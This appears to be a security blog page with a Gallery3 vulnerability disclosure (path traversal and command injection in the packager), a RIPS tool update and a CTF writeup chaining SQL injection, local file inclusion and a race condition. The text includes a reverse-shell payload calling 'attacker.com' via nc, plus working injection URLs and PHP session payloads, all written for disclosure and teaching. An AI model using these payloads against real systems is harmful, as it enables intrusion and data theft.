The Watermark module is shipped by default with Gallery3 and can be activated in the modules section of the administration interface. After a watermark image file has been uploaded, the name of the watermark image file can be altered in the advanced settings section. The altered file name is used when deleting the watermark image file again. The delete function of the watermark module in /modules/watermark/controllers/admin_watermarks.php suffers from a Path Traversal vulnerability in line 70:

  public function delete() {
    access::verify_csrf();

    $form = watermark::get_delete_form();
    if ($form->validate()) {
      if ($name = module::get_var("watermark", "name")) {
        @unlink(VARPATH . "modules/watermark/$name");

Here, the altered $name of the image file is used unsanitized. To delete the configuration file a malicious administrator can change the watermark image file name to ../../database.php and delete the watermark file. Further, log files and .htaccess files can be deleted.

This bug was not rated as a security bug by the Gallery3 team. Although I did not endorse this rating I think this vulnerability helped to improve the rating of vulnerability 1.

Bonus

The Gallery 3.0.4 packager uses the MySQL database credentials provided during installation unsanitized in a shell command. An attacker who is able to enter/change the database credentials can inject arbitrary shell commands which will be executed on the target web server if the packager is locally executed later on.

In /gallery3/modules/gallery/controllers/packager.php line 97 the following command is executed to dump the database:

    $command = "mysqldump --compact --skip-extended-insert --add-drop-table -h{$conn['host']} " .
      "-u{$conn['user']} $pass {$conn['database']} > $sql_file";
    exec($command, $output, $status);

However, the database credentials supplied by the user on installation are used unsanitized in the shell command, allowing arbitrary command execution. A malicious admin can use vulnerability 2 to gain access to the installer and specify the following database password (not affected by escaping):

1 ;nc attacker.com 4444 -e/bin/bash;

If the password is valid on a specified remote MySQL server the password is written to the database.php configuration file. Once the packager is executed with the local shell command php index.php package later on, the following command is executed by the application:

mysqldump --compact --skip-extended-insert --add-drop-table -hattacker.com -ureiners -p1 ; 
nc attacker.com 4444 -e/bin/bash;

The attacker listens on port 4444, receives the remote shell connection and is able to execute arbitrary commands on the target web server. However, a local administrator has to execute the packager command on the target web server which requires social engineering. This bug was rated as minor by the Gallery3 team and was rewarded with $100.

All bugs were found with the help of RIPS and are patched in the latest Gallery 3.0.5 release.


Project RIPS v0.54 – Status

February 1, 2013

I just updated RIPS and fixed some JavaScript errors that came up due to the latest browser updates (thank you for the reports). You can download it here. Now the code viewer and other window features should work again. At the same time I am announcing that the current version of RIPS will not be enhanced. The current engine does not allow further enhancement and suffers from bad language parsing. This leads to an inacceptable rate of false positives. Further, the current engine can not be extended to support OOP.

The good news is that I have rewritten RIPS completely during the past 6 month during my final master thesis at the Ruhr-University Bochum. RIPS 1.0 now uses Abstract Syntax Trees, Control Flow Graphs, and Context-Sensitive String Analysis doing it the academic way ;). The result looks very promising, but its worthless to share any results/numbers without sharing the tool. It is still under development and a release date is unknown, but already in its current state it is way better than RIPS 0.5. In the end, full OOP support is planned. Any updates will be released here or via twitter.

The project continues … =)


Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy ;) The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them :)

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.


Follow

Get every new post delivered to your Inbox.

Join 87 other followers